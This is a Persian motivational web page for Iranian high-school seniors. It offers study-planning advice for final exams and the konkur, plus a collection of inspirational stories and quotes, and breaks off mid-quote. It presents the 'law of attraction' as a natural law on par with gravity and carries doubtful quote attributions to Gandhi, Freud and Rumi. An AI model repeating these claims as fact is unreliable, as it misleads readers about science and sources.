sig

 

فایل صوتی انگیزشی ویژه مبعث

سلام وقتتون بخیر 

یه فایل صوتی براتون تهیه کردم که توی این مدت باقی مونده مطمعنم خیلی کمکتون میکنه و راه های ترکوندن یادتون میده

توی این فایل صوتی که حاوی نکاتی:

انگیزشی

برنامه ریزی 

جمع بندی

راه های افزایش درصد

و کلی نکات دیگه ست که امیدوارم مفید باشه براتون

به امید موفقیتتون 

یاعلی.

لطفا نظرات خودتونو باما به اشتراک بذارید.

 

DPS_download

sig

برنامه ی ویژه سال سومی ها

 

 

سال سوم و امتحانات نهایی موضوعی هستش که هرساله کلی دانش اموز درگیر خودش میکنه

که امتحانات نهایی چقدر میتونه سخت و مفهومی باشه و 

برای شما دانش اموزای سال سوم سرنوشت ساز چون معدل دیپلمتون براتون رقم میزنه معدلی که یه زمانی نشون دهنده ی سطح سواد هرشخصی بود.

درسته الان این چنین نیست ولی بازم دست کمی ازاون کاربرد نداره

باید به تویه سال سومی بگم که امتحانات نهایی فکر نکن که خیلی دوره فکر نکن که حالا حالا ها وقت داری براش بلکه برعکس 

میشه گفت که دیگه وقتی براش نداری

یه نگاهی به تقویمت بندازی الان که اخراسفند هستش چشم بهم بزنی دوهفته از فروردینیت میره و معلماهم همین هفته ی اول امتحان میگیرند ویا درس میذارن برات بخصوص اگر عقب هم باشید تند تند درس میدن تا به اردیبهشت برسی و درگیر امتحانات نمره مستمرت میشی که خیلی هم مهمه برات

وبلافاصله پشتوانه اش امتحانات نهاییت شروع میشه و وقتی نمیمونه تا تو بخوای حتی یه دور قبل امتحانت دوره کنی

و بعبارتی و میشی دانش اموز شب امتحانی

اما اگر ازالان بخوای شروع کنی میدونی که ۱۶ ماه تاکنکورت وقت داری اصلا ازالان تمرکزتو میذاری روی درسای سال سومی که حدودا ۳۵-۴۰ درصد بصورت مستقل و ترکیبی توی کنکورت موثره تاثیر معدل هم که جای خود داره 

پس همه ی این دلایل اینو میرسونه که تو باید ازالان یه فکری بحال امتحانات نهایی و درسای مفومی و سوالات سختش بکنی

اگر الان روزی ۳-۴ ساعت نخونی مطمعن باش اون روزای امتحانی ۱۵-۱۴ ساعت هم بخونی جبران نمیشه

پس الان بهترین زمان هستش که تو خودتو درستو برنامه هاتون کم کم با دیده امادگی برای کنکور شروع کنی

میتونی ازهمین امروز شروع کنی برای خوندنت ازهمین امروز شروع کنی برای کم کم  تشریحی کارکردنت

با یه برنامه ی کاملا ساده و ابتدایی نه حتی حرفه ای

درسته ؟

پس بسم الله بگو بفکر اینده ات باش ماراتن کنکورت ازالان شروع شده

تعیین سرنوشتت ازالان شروع شده و من مطمعنم همین الان که داری اینو میخونی و میخوای برنامه ریزی کنی که درس بخونی از هزاران هزار داوطلب دیگه جلوتری

تاحالا ازاین دید به ماجرا نگاه کرده بودی؟

چشم هارا باید شست….

جوردیگر باید دید!

دانلود همایش رایگان ویژه سال سومی ها درشهر شیراز 

download

تکنیک های افزایش تمرکز و تقویت حافظه

 

 

باسلام 

دراین قسمت قصد داریم داستان های مختلف آموزنده مطالب علمی-روانشناسی -موفقیت و انگیزشی براتون جمع آوری کردیم بذاریم تابخونیدو لذت ببرید.

لطفا نظرات خودتونو درمورد داستان ها و مطالب مختلف بذارید.

درصورتی که شما هم مطالب آموزنده و جالب دارید برامون بفرستید تابا نام خودتون توی سایت قرار بدیم.

اگر تغییر نکنیم نابود میشویم !
باید تغییراتی را در نوع نگاهمان به وجود آوریم.
کلیدهای این تغییر عبارتند از:

کلید اول: خواستن
کلید دوم: خالی کردن ذهن از تعصب
کلید سوم: داشتن باور مثبت نسبت به خود
کلید چهارم: دست به عمل زدن
به یاد داشته باشیم که عظمت زندگی به علم نیست به عمل است.

افکارت رازیباکن

زندگی به اندازه فکرهای تو زیبا می شود.

____________________________________________________________________________________________________________

?ﺗﻔﻜﺮاﺕ ﻗﺎﻟﺒﻲ?

ﺭﻭﺯﯼ ﭘﺴﺮﯼ ﻫﻤﺮﺍﻩ ﭘﺪﺭ ﺧﻮﺩ ﺳﻮﺍﺭ ﺑﺮ ﻣﺎﺷﯿﻨﯽ ﺑﻮﺩ ﺩﺭ
ﺟﺎﺩﻩ ﺍﯼ ﭘﺮﭘﯿﭻ ﻭ ﺧﻢ ﻣﺸﻐﻮﻝ ﺣﺮﮐﺖ ﺑﻮﺩﻧﺪ ﮐﻪ ﻧﺎﮔﻬﺎﻥ ﮐﻨﺘﺮﻝ ﻣﺎﺷﯿﻦ ﺍﺯﺩﺳﺖ ﭘﺪﺭ ﺧﺎﺭﺝ ﺷﺪﻩ ﻭ ﺑﻌﺪ ﺍﺯ ﯾﮏ ﺗﺼﺎﺩﻑ ﺳﺨﺖ ﻣﺎﺷﯿﻦ ﺑﻪ ﺩﺭﻩ
ﺳﻘﻮﻁ ﻣﯿﮑﻨﺪ …
ﭘﺪﺭ ﺩﺭ ﺟﺎ ﻓﻮﺕ ﻣﯿﮑﻨﺪ ﺍﻣﺎ ﭘﺴﺮ ﺗﻮﺳﻂ ﻧﯿﺮﻭﻫﺎﯼ ﺍﻣﺪﺍﺩﯼ ﻧﺠﺎﺕ ﻣﯿﺎﺑﺪ ﻭﺑﻪ ﺑﯿﻤﺎﺭﺳﺘﺎﻥ ﺍﻧﺘﻘﺎﻝ ﻣﯿﺎﺑﺪ …
ﺯﻣﺎﻧﯽ ﮐﻪ ﺭﯾﯿﺲ ﺑﯿﻤﺎﺭﺳﺘﺎﻥ ﺑﺮﺍﯼ ﺑﺮﺭﺳﯽ ﻭﺿﻌﯿﺖ ﺟﺴﻤﺎﻧﯽ ﮐﻮﺩﮎ ﺑﻪﻣﻼﻗﺎﺕ ﺍﻭ ﻣﯿﺮﻭﺩ ﺑﻪ ﯾﮑﺒﺎﺭﻩ ﻭ ﺑﺎ ﺷﮕﻔﺘﯽ ﻣﺘﻮﺟﻪ ﻣﯿﺸﻮﺩ ﮐﻪ ﺁﻥ ﮐﻮﺩﮎ
ﭘﺴﺮ ﺧﻮﺩ ﺍﻭﺳﺖ!!!
ﺳﻮﺍﻝ :
ﺍﮔﺮ ﭘﺪﺭ ﮐﻮﺩﮎ ﻓﻮﺕ ﮐﺮﺩﻩ ﺍﺳﺖ، ﭘﺲ ﺭﯾﯿﺲ ﺑﯿﻤﺎﺭﺳﺘﺎﻥ ﭼﻪ ﮐﺴﯽﺍﺳﺖ؟ !
چندثانیه اندک فکر کنید سپس بخوانید
.
.

ﮔﺎﻫﯽ ﺍﻧﺴﺎﻥ ﺑﻪ ﺻﻮﺭﺕ ﻧﺎﺧﻮﺩﺁﮔﺎﻩ ﺑﻪ ﺍﻓﮑﺎﺭﯼ ﭼﻨﮓ ﻣﯿﺰﻧﺪ ﮐﻪ ﻫﯿﭻﭘﺸﺘﻮﺍﻧﻪ ﻣﻨﻄﻘﯽ ﺑﺮﺍﯼ ﺁﻥ ﻧﺪﺍﺭﻧﺪ …
ﺁﯾﺎ ﮐﺴﯽ ﺑﻪ ﻓﮑﺮﺵ ﺭﺳﯿﺪ ﮐﻪ ﺭﺋﯿﺲ ﺑﯿﻤﺎﺭﺳﺘﺎﻥ ﻣﻤﮑﻦ ﺍﺳﺖ ﯾﮏ ﺯﻥ ﺑﺎﺷﺪ؟ !
ﺍﮔﺮ ﺗﻔﮑﺮ ﻗﺎﻟﺒﯽ ﺩﺭ ﻣﻮﺭﺩ ﺟﻨﺴﯿﺖ ﻭﺟﻮﺩ ﻧﻤﯿﺪﺍﺷﺖ ﺑﯿﺸﺘﺮ ﻣﺎ ﺑﻪ ﺍﯾﻦﺳﻮﺍﻝ ﺟﻮﺍﺏ ﺩﺭﺳﺖ ﻣﯿﺪﺍﺩﯾﻢ …
ﺑﻠﻪ ﺭﺋﯿﺲ ﺑﯿﻤﺎﺭﺳﺘﺎﻥ ﻣﺎﺩﺭ ﭘﺴﺮ ﺑﻮﺩ . ﻣﮕﺮ ﻓﻘﻂ ﻣﺮﺩ ﻣﯿﺘﻮﺍﻧﺪ ﺭﺋﯿﺲﺑﺎﺷﺪ؟ !
ﺍﻣﺮﻭﺯ ﻣﺎ ﺑﯿﺸﺘﺮ ﺍﺯ ﻫﻤﯿﺸﻪ ﺍﺳﯿﺮ ﺗﻔﮑﺮﺍﺕ ﻗﺎﻟﺒﯽ ﺧﻮﺩ ﻫﺴﺘﯿﻢ .
ﺗﻔﮑﺮ ﻗﺎﻟﺒﯽ ﻓﻘﻂ ﺩﺭ ﻣﻮﺭﺩ ﺟﻨﺴﯿﺖ ﻧﯿﺴﺖ .

ﺗﻔﮑﺮ ﻗﺎﻟﺒﯽ ﺩﺭ ﻫﺮ چیزی میتواندباشد.

_________________________________________________________________________________________________________

روانشناسی لبخند?

ﺭﻭﺍﻧﺸﻨﺎﺳﺎﻥ ﻣﻴﮕﻮﻳﻨﺪ :
ﺍﮔﺮ ﺑﺎ ﺷﺨﺼﯽ ﮐﻪ ﺩﻭﺳﺘﺶ ﺩﺍﺭﯼ ﺭﻭﺑﺮﻭ ﺷﺪﯼ ،ﻟﺒﺨﻨﺪ ﺑﺰﻥ ﺗﺎ ﻋﺸﻘﺖ ﺭﺍ ﺍﺣﺴﺎﺱ ﮐﻨﺪ …

ﺍﮔﺮ ﺑﺎ ﺩﺷﻤﻨﺖ ﺭﻭﺑﺮﻭ ﺷﺪﯼ ،ﻟﺒﺨﻨﺪ ﺑﺰﻥ ﺗﺎ ﻗﺪﺭﺗﺖ ﺭﺍ ﺍﺣﺴﺎﺱ ﮐﻨﺪ …

ﺍﮔﺮ ﺑﺎ ﺷﺨﺼﯽ ﮐﻪ ﺯﻣﺎﻧﯽ ﺗﺮﮐﺖ ﮐﺮﺩﻩ ﺑﻮﺩ ، ﺭﻭﺑﺮﻭﺷﺪﯼ ،ﻟﺒﺨﻨﺪ ﺑﺰﻥ ﺗﺎ ﺍﺣﺴﺎﺱ ﭘﺸﯿﻤﺎﻧﯽ ﮐﻨﺪ …

ﺍﮔﺮ ﺑﺎ ﻏﺮﯾﺒﻪ ﺍﯼ ﺭﻭﺑﺮﻭ ﺷﺪﯼ ،ﻟﺒﺨﻨﺪ ﺑﺰﻥ ﺗﺎ ﺑﺎ ﻟﺒﺨﻨﺪ ﭘﺎﺳﺨﺖ ﺭﺍ ﺩﻫﺪ …
ﺍﯾﻦ ﺭﻣﺰ ﻣﻮﻓﻘﯿﺖ ﺗﻮﺳﺖ …

ﺭﻭﺯﮔـــﺎﺭﺗﺎﻥ ﭘُﺮ ﺧﻨــﺩﻩ “

___________________________________________________________________________________________________________

“زندگی را طلاق ندهید.”?

این یعنی اینکه خودتون رو از خوشی های دنیا و زندگی , محروم نکنیددر مقابل مشکلات , تسلیم نشید و زانوی غم بغل نگیرید. خودتون رو دوست داشته باشید و به خودتون و خواسته هاتون احترام بذارید . یادتان باشد بهترین دوست شما
“تصویر ذهنی های خوب شما از خودتان ” است .
دیگران را دوست بدارید حتی کسانی که با شما همراه و هم عقیده نیستند

___________________________________________________________________________________________________________

تکنیک های تلقین و تخیل برای موفقیت و افزایش تمرکز و تقویت حافظه

همه انسانها با درجات مختلف تلقین پذیرند و این تلقین پذیری در خلسه بسیار افزایش مییابد. دانشمندان به دفعات نشان داده اند هر نوع تلقین مورد پذیرش ضمیر ناخودآگاه قرار میگیرد امروزه دانشمندان اثبات کرده اند که بخشی از اثرات داروها اثرات تلقینی آنها است لذا در پزشکی امروز استفاده از شبه داروها مطرح شده است که فاقد اثرات خاص دارویی و شیمیایی میباشند. در تمام اعصار تلقین نقش مهمی در زندگی انسان بازی کرده است. از تلقین میتوان برای منظبط کردن و تحت کنترل در آوردن نفس خود استفاده کرد. تلقینِ سازنده، نیروی شگفت انگیزی میباشد. یادتان باشد تلقین فی نفسه قدرتی ندارد مگر اینکه ما قبولش کنیم. بنابراین با آگاهی از اثرات تلقین از آن در جهت مثبت استفاده کنید و خود را از تلقینات منفی دیگران و محیط در امان نگه دارید.انسان موجودی تلقین پذیر میباشد و تلقین پذیری یکی از ویژگیهای انسان است تلقین تاثیر فوق العاده ای بر انسان دارد. شاید یکی از دلایلی که اسلام زندگی را با گفتن اذان در گوش نوزاد آغاز میکند و با تلقین به میت تمام میکند اهمیت تلقین باشد. بنظر میرسد یک بعد از ابعاد اذکار و عبادات هم بعد تلقینی آنها میباشد.
انواع تلقین:
۱- تلقین کلامی
۲- تلقین فکری
۳- تلقین شنیداری
۴- تلقین دیداری
۵- تلقین نوشتاری
قانون جذب یکی از سلسله قوانینی است که بر زندگی ما جاری بوده ولی بسیاری از افراد از آن
بی‏خبرند. همانند قانون جاذبه زمین که تا قبل از آنکه نیوتن آنرا کشف کند هیچ کس از آن
خبری نداشت اما آن قانون به قوت خود بر طبیعت جاری بود. قانون جذب بر زندگی ما جاری
و ساری است چه بدانیم و چه ندانیم، ما از آن استفاده می‏کنیم به صورت خودآگاه یا ناخودآگاه
ولی چه بهتر که آنرا بشناسیم و اهداف خود را طبق این قانون برنامه‏ریزی کنیم.
پیشینیان ما از این قانون در زندگی خود استفاده می‏کرده‏اند بدون آنکه از آن خبری داشته باشند
و به صورت ناخودآگاه خواسته‏ های خود را برآورده شده می‏دیدند پس ما هم می‏توانیم به راحتی
از این قانون در زندگی خود کمک بگیریم.
قانون جذب می‏گوید :هر فکر و نیتی که ما در ذهن و دلمان می‏گذرانیم دارای انرژی است پس
ما با فکر کردن و نیت کردن در ذهن و دل، یک پرتو انرژی به کائنات ساتع می‏نماییم که آن انرژی
به صورت تجسم یافته به ما بازخواهد گشت و ما در واقع شکل تجسم یافته و مادی آن انرژی
(فکر و نیت) را جذب می‏کنیم.
به عبارت ساده تر:
هرآنچه که ما تصور کنیم، آنرا تجسم یاقته (به شکل مادی) خواهیم داشت. (=عینیت یافتن ذهنیات)
و یا هر آنچه که در مورد آن فکر کنیم، آنرا به زندگی خود وارد کرده‏ایم؛ تمرکز بیشتر، ورود آن به زندگی
قطعی‏تر.
اما کیفیت شکل تجسم یافتۀ آنچه که ما تصورش را کرده بودیم بستگی به شدت تمرکز و توجه ما
به نیت و خواسته‏مان دارد. به عنوان مثال اگر ما خواهان یک عدد دوچرخه هستیم، بسته به
میزان توجه ما به خواسته‏مان، یعنی در طول روز دنبال آن بودن و پی آنرا از دوست و آشنا گرفتن،
خریدن آن، شکل آنرا ترسیم کردن و خیابانها را با آن دور زدن و تمیز کردن آن و … آنرا به شکل
بهتر و کاملتر – یا حتی سریعتر – جذب می‏کنیم.
چگونه جذب کنیم؟
اینکه چگونه می‏توان خواسته‏ها و نیات را با کمک این قانون برآورد و در واقع آنها را جذب کرد
خود ساعتها جای بحث و گفتگو توسط افراد متخصص و صابنظر دارد که در این پست به ۴ مورد
کلی اشاره می‏شود اما به زودی در پستی با مضمون “چگونه جذب کنیم و هدف گزینی و
دستیابی به اهداف” به طور کامل مطرح خواهد شد.
۱ – دقیقا بدانیم چه می‏خواهیم (با جزئیات و مختصات).
۲ – از کائنات خواستۀ خود را بخواهیم.
۳ – چنان رفتار کنیم که گویا هم اکنون و مدتی است که این خواسته برآورده شده است.
۴ – آمادۀ دریافت خواستۀ خود باشیم و خواسته را بحال خود رها کنیم (وابسته نشویم)

_________________________________________________________________________________________________________________________

“گاندی”
اکثر انسانها حتی جسارت بخشیدن و دور ریختن لباس هایی که مدت هاست بدون استفاده در کمدهاشان آویخته شده را ندارند بعد از آنها توقع داریم باورهای غلطی را که قرن هاست در ذهنشان زنجیر شده را براحتی کنار بگذارند و دور بریزند.
جهل نرمترین بالشی ست که انسان میتواند سر خود رابگذارد و بخوابد…

_________________________________________________________________________________________________________________________

مثبت فکر کن

روانشناسان می گویند:
“هر روز ، سه اتفاق خوشایندی که برایتان افتاده است را بنویسید.
سه اتفاق حتی کوچک…این کار را برای ۲۱ روز ادامه دهید. ۳ اتفاق هرروز، باید مختص همان روز باشند.”

این کار مغز را عادت می دهد که بر روی مسائل مثبت تمرکز کند و بر طبق تحقیقات انجام شده، چنین عادتی (حتی بیشتر از حس موفقیت) باعث خوشحالی شما می شود.

________________________________________________________________________________________________________

آرامش
نه عاشق بودن است
نه گرفتن دستی که محرمت نیست.
نه حرف های عاشقانه و نه قربان صدقه های چند ثانیه ای
….آرامش ….
…حضور خداست….
وقتی در اوج نبودن ها نابودت نمیکند
وقتی ناگفته‌هایت را بی آنکه بگویی، می‌فهمد
وقتی نیازی نیست برای بودنش التماس کنی
غرورت را تا مرز نابودی پیش ببری
آرامش یعنی همین
تو بی هیچ قید و شرط خدا را داری

_________________________________________________________________________________________________________

پدر و پسری مشغول قدم زدن در کوه بودند که ناگهان پسر به سنگی گیر کرد، به زمین افتاد و ناخودآگاه فریاد کشید:- آی!
صدایی از دوردست آمد: – آی!
پسرک با کنجکاوی فریاد زد: – که هستی؟
پاسخ شنید: – که هستی؟
پسرک خشمگین شد و فریاد زد:- ترسو!
باز پاسخ شنید: – ترسو!
پسرک با تعجب از پدرش پرسید: – چه خبر است؟
پدر لبخندی زد و گفت: – پسرم، توجه کن.
بعد با صدای بلند فریاد زد:- تو یک قهرمان هستی.
صدا پاسخ داد: – تو یک قهرمان هستی.
پسرک باز بیشتر تعجب کرد، پدر توضیح داد: – مردم می گویند که این انعکاس کوه است، ولی در حقیقت، این انعکاس زندگی است.
هر چیزی که بگویی یا انجام دهی، زندگی آن را عینا به تو بر می گرداند.
اگر عشق را بخواهی، عشق بیشتری در قلبت به وجود می آید و اگر به دنبال موفقیت باشی، حتما به دست خواهی آورد.
هر چیزی را که بخواهی، زندگی همان را به تو خواهد داد.

نکته: آری، خواستن تمام چیزهایی که ما انتظارش را داریم، به یک تصویر ذهنی ایده آل بستگی دارد. این تصویر ذهنی شماست که به شما شادی، غم، موفقیت، شکست، خوشبختی و یا درد و رنج هدیه می دهد. تصویر ذهنی شما می تواند به شما کمک کند تا آن چه را برای رسیدن به شادی و رضایت لازم دارید انجام دهید.
می تواند به شما کمک کند تا آن چه را برای رسیدن به شادی و رضایت لازم دارید انجام دهید.
می تواند به شما کمک کند تا از زندگی خود لذت ببرید.
می تواند اسباب اعتماد به نفس و اطمینان به کار و فعالیت هایی باشد که شما برای زمان فراغت خود انتخاب می کنید.
مصمم بر شاد زیستن شوید.
مراقب باشید تصویر ذهنی خود را جایی گم نکنید تا به همراه آن انگیزه خوشبخت شدن را از دست دهید.
مواظب روح و اندیشه های قشنگتان باشید.
نگذارید که هیچ باد مخالفی ابرهای سیاه را مقابل پنجره ی رو به اقبال ذهنتان قرار دهد تا موفقیت و خوشبختی در زندگی را آن طور که می پسندید، تجربه کنید.

__________________________________________________________________________________________________________

تفاوت آدمهای ثروتمند وآدمهای فقیر

بخشی از مطالب برگرفته از کتاب ” اسرار ذهن ثروتمند ” می باشد.

در این مبحث کلمه “ثروتمند” و “فقیر” تنها مربوط به زمینه مالی نیست بلکه در تمام ابعاد مربوط به زندگی بشری هست.
چه بسیارآدمهایی هستند که ازنظرمالی غنی ولی در سایرابعاد زندگی ضعیف و فقیر هستند. هدف از ثروتمند بودن، داشتن تمام خصوصیات ونکات مثبت در کلیه ابعاد مختلف بشری هست.

تفاوت اول:

+ آدمهای ثروتمند معتقدند: من خودم زندگی خودم را می سازم.

– آدمهای فقیرمعتقدند: زندگی برای من تصادفی پیش می آید.

تفاوت دوم:

+ آدمهای ثروتمند با هدف برنده شدن بازی می کنند.

– آدمهای فقیر با هدف بازنده نشدن بازی می کنند.

تفاوت سوم:

+ افراد ثروتمند تعهد به ثروتمند شدن را دارند.

– افراد فقیر آرزوی ثروتمند شدن را دارند.

تفاوت چهارم:

+ ثروتمندان گسترده و بزرگ می اندیشند.

– فقیران محدود و کوچک می اندیشند.

تفاوت پنجم:

+ ثروتمندان بر روی فرصتها تمرکز می کنند.

– فقیران بر روی موانع تمرکز دارند.

تفاوت ششم:

+ آدمهای ثروتمند افراد ثروتمند و موفق را دوست دارند.

– آدمهای فقیر از ثروتمندان بیزارومتنفر هستند.

تفاوت هفتم:

ثروتمندان با آدمهای مثبت و موفق معاشرت می کنند.

فقرا با آدمهای منفی و شکست خورده معاشرت می کنند.

تفاوت هشتم:

ثروتمندان مشتاق تبلیغ خود و ارزشهایشان هستند.

فقیران اشتیاق به تبلیغ خود و ارزشهایشان ندارند.

تفاوت نهم:

آدمهای ثروتمند مشکلات خود را کوچک و حل شدنی می دانند.

آدمهای فقیر مشکلات خود را بزرگ و حل نشدنی می پندارند.

تفاوت دهم:

ثروتمندان گیرنده و درخواست کننده های عالی هستند.

فقرا گیرنده و درخواست کننده های ضعیفی هستند.

تفاوت یازدهم:

ثروتمندان ترجیح می دهند تا براساس نتایج و عملکرد پول دریافت کنند.

فقیران ترجیح می دهند تا براساس زمان و مدت پول دریافت کنند.

تفاوت دوازدهم:

ثروتمندان به ” همه با هم” می اندیشند.

فقیران به” این یا آن ” می اندیشند.

تفاوت سیزدهم:

ثروتمندان روی ارزش خالص دارایی خود تمرکز می کنند.

فقیران روی درآمد شغلی خودشان تمرکز دارند.

تفاوت چهاردهم:

آدمهای ثروتمند پولهایشان را بدرستی اداره و مدیریت می کنند.

آدمهای فقیر پولهایشان را نادرست اداره و مدیریت می کنند.

تفاوت پانزدهم:

ثروتمندان کاری می کنند که پول برای آنها کارکند.

فقیران طوری هستند که برای پول کار می کنند.

تفاوت شانزدهم:

ثروتمندان برخلاف ترسی که دارند اقدام می کنند.

فقیران به ترس اجازه می دهند که متوقفشان کند.

تفاوت هفدهم:

آدمهای ثروتمند همیشه درحال یادگیری و رشد هستند.

آدمهای فقیرفکرمی کنند که همه چیزرا می دانند

__________________________________________________________________________________________________________

زندگی چیست؟
چیزی است
حد فاصل بین B و D
(B=Birth=تولد)
(D=death=مرگ)
ولی بین B و D
یک حرف دیگر
یعنی C هم هست
که همان choice میباشد
(Choice=قدرت انتخاب)

پس بهترین انتخاب ها را در زندگی خودت داشته باش

____________________________________________________________________________________________________________

سه چیز انسان را شاد می‌کند ..

اولین مورد،
ارتباط‌های انسانی است … دوست داشتن و دوست داشته شدن !
دوم طبیعت است …
کوه , کویر . دریا , …. و شاید گل‌ها و گیاهان کمی بیشتر!
سومین مورد نیز،
خندیدن است … خندیدن از ته دل !

فکرش را بکنید هر سه مجانی هستند ..
بی هیچ بهایی!!!

___________________________________________________________________________________________________________

متنی که برنده ی جایزه ی بهترین متن سال شد”

گوش هایم را می گیرم!
چشم هایم را می بندم!
زبانم را گاز می گیرم!
ولی حریف افکارم نمی شوم!
چقدر دردناک است فهمیدن…!!!

خوش بحال عروسک آویزان به آینه ماشین،
تمام پستی بلندی زندگیش را فقط میرقصد…!!!

__________________________________________________________________________________________________________

هرزمان که حالی در احوال تو رخ دهد ، عیدت آغاز میشود.نیازی به این نیست که تاریخ بیاید و تو را بر آغازی دیگر یاد کند.بشکن این قالبهای زمانی را .ما تا ابد زنده و جاوید هستیم اگر برای پس از مرگمان زندگی کنیم.
تو باید تاریخ ساز جان جهانت شوی.
عیدت را آغاز کن هموطنم! با نوشتن اهدافت ، رؤیاهایت، آرزوهایت! بگذار هر روزت ،بوی بهار را در آغوش بگیرد و هماره شادمانی بر کنج لبت ترانه هستی سر دهد.
بگذار لبخندت نسیم عشق را به لابلای گیسوان همراهانت به وزیدن بسراید.
یاقوت وطنم ! برای قدرتمند شدن ، باید راهی متفاوت را آغاز کنی .
دستان جادویی ات را به ستاره ها بیاویز و بغل بغل کهکشان بر جام روزهایت لبریز کن.

____________________________________________________________________________________________________________

با سوادان بیشتر در معرض لگد خرند” …!

گویند در گذشته دور، در جنگلی شیر حاکم جنگل بود و مشاور ارشدش روباه بود و خر هم نماینده ی حیوانات در دستگاه حاکم بود …
با وجود ظلم سلطان و تایید خر و حیله روباه، همه ی حیوانات، جنگل را رها کرده و فراری شدند، تا جایی که حاکم و نماینده و مشاورش هم تصمیم به رفتن گرفتند …
در مسیر گاهگاهی خر، گریزی میزد و علفی می خورد …
روباه که زیاد گرسنه بود به شیر گفت :
اگر فکری نکنیم تو و من از گرسنگی می میریم و فقط خر زنده می ماند، زیرا او گیاه خوار است …
شیر گفت : چه فکری داری ؟…
روباه گفت : خر را صدا بزن و بگو ما برای ادامه مسیر، نیاز به رهبر داریم. و باید از روی شجره نامه در بین خود یکی را انتخاب کنیم و از دستوراتش پیروی کنیم. قطعا تو انتخاب میشوی و بعد دستور بده تا خر را بکشیم و بخوریم …
شیر قبول کرد و خر را صدا زدند و جلسه تشکیل دادند …
ابتدا شیر شجره نامه اش را خواند و فرمود :
جد اندر جد من، حاکم و سلطان بوده اند …!
و بعد روباه ضمن تایید گفته شیر گفت :
من هم جد اندر جدم خدمتکار سلطان بوده اند …!
خر تا اندازه ای موضوع را فهمیده بود و دانست نقشه ی شومی در سر دارند، گفت :
من سواد ندارم، شجره نامه ام زیر سمم نوشته شده ، کدامتان باسواد هستین آن را بخوانید ؟…
شیر فورا گفت : من باسوادم، و رفت عقب خر، تا زیر سمش را بخواند …!
خر فورا جفتک محکمی به دهان شیر زد و گردنش را شکست …!
روباه که ماجرا را دید، رو به عقب پا به فرار گذاشت …
خر او را صدا زد و گفت :
بیا حالا که شیر کشته شده، بقیه راه را با هم برویم …
روباه گفت : نه من کار دارم …
خر گفت : چه کاری ؟…
گفت : می خواهم برگردم و قبر پدرم را پیدا کنم و هفت بار دورش بگردم و زیارتش کنم، که مرا نفرستاد مدرسه تا باسواد شوم …
وگرنه الان بجای شیر، گردن من شکسته بود ……..!!!!

مثنوی معنوی، مولانا جلال الدین محمد بلخی

_______________________________________________________________________________________________________________

گاندی خطاب به همسرش چه زیبا نوشت:
خوبِ من ، هنر در فاصله هاست ؛
زیاد نزدیک به هم می سوزیم،
و زیاد دور از هم ، یخ می زنیم .

تو نباید آنکسی باشی که من میخواهم،
و من نباید آنکسی باشم که تو میخواهی.
کسی که تو از من می خواهی بسازی،
یا کمبودهایت هستند یا آرزوهایت.

من باید بهترین خودم باشم برای تو.

و تو باید بهترین خودت باشی برای من .

خوبِ من ، هنرِِ عشق در پیوند تفاوت هاست،
و معجزه اش نادیده گرفتن کمبودها .

زندگی ست دیگر…
همیشه که همه رنگ‌هایش جور نیست؛
همه سازهایش کوک نیست.

باید یاد گرفت با هر سازش رقصید؛
حتی با ناکوک ترین ناکوکش.

اصلا رنگ و رقص و ساز و کوکش را فراموش کن؛

حواست باشد به این روزهایی که دیگر برنمی گردد؛

به فرصت هایی که مثل باد می آیند و می روند و همیشگی نیستند.
به این سالها که به سرعت برق گذشتند؛

به جوانی که رفت؛
میانسالی که می رود.

حواست باشد به کوتاهی زندگی،

به زمستانی که رفت؛

بهاری که دارد
تمام می شود کم کم،
آرام آرام.

زندگی به همین آسانی می گذرد.
ابرهای آسمان زندگی
گاهی می بارد و گاهی هم صاف است.
میگذرد، هر جور که باشی
……..پس شکر

_____________________________________________________________________________________________________________

فروید پدر روان شناسى دنیا مى گوید:
وقتى می شود دقایق عمرت را با آدم هاى خوب بگذرانى، چرا باید لحظه هایت را صرف آدم هایى کنى که با دل هاى کوچکشان مدام درگیر حسادت ها و کینه ورزى هاى بچه گانه اند …
یا مدام براى نبودنت، براى خط زدنت تلاش مى کنند؟
نه! همیشه جنگیدن خوب نیست!
من همیشه جنگیده ام تا چیزى را عوض کنم!
اما این روزها فهمیده ام که با آدم هاى کوته نظر نباید جنگید،

فهمیده ام براى اثبات دوست داشتن نباید جنگید،

براى به دست آوردن دل آدم ها نباید جنگید،

براى اثبات خوب بودن نباید جنگید!

بعضى چیزها وقتى با جنگیدن به دست مى آیند، بى ارزش می شوند!
این روزها نسخه فاصله گرفتن را مى پیچم براى هر کسى که رنجم مى دهد،

از آدم هایى که زیاد دروغ مى گویند، فاصله می گیرم،

از آدم هایى که زیاد ظلم می کنند، فاصله می گیرم،

از آدم هایى که حرمتم را نگه نمی دارند، فاصله می گیرم،

با حقارت برخى آدم ها و دل هایشان نباید جنگید، باید نادیده شان گرفت و گذشت و می بخشمشان؛ نه براى این که مستحق بخشش اند، براى این که من مستحق آرامشم!

_______________________________________________________________________________________________________

خیلی محشره این متن :

گله هارابگذار!
ناله هارابس کن!
روزگارگوش ندارد که تو هی شِکوه کنی!
زندگی چشم ندارد که ببیند اخم دلتنگِ تو را…
فرصتی نیست که صرف گله وناله شود!
تابجنبیم تمام است تمام!!
تابستان را دیدی که به برهم زدن چشم گذشت….
یاهمین سال جدید!!
بازکم مانده به عید!!
این شتاب عمراست …
من وتوباورمان نیست که نیست!!
***زندگی گاه به کام است و بس است؛
زندگی گاه به نام است و کم است؛
زندگی گاه به دام است و غم است؛
چه به کام و
چه به نام و
چه به دام…
زندگی معرکه همت ماست…زندگی میگذرد…

زندگی گاه به نان است و کفایت بکند؛
زندگی گاه به جان است و جفایت بکند‌؛
زندگی گاه به آن است و رهایت بکند؛
چه به نان
و چه به جان
و چه به آن…
زندگی صحنه بی تابی ماست…زندگی میگذرد…

زندگی گاه به راز است و ملامت بدهد؛
زندگی گاه به ساز است و سلامت بدهد؛
زندگی گاه به ناز است و جهانت بدهد؛
چه به راز
و چه به ساز
و چه به ناز…
زندگی لحظه بیداری ماست…زندگی میگذرد…

_________________________________________________________________________________________________________

از برتراند راسل می پرسند:
“چرا یه آدم متعصب میترسه نسبت به اعتقاداتش شک کنه؟”

برتراند راسل جواب میده:
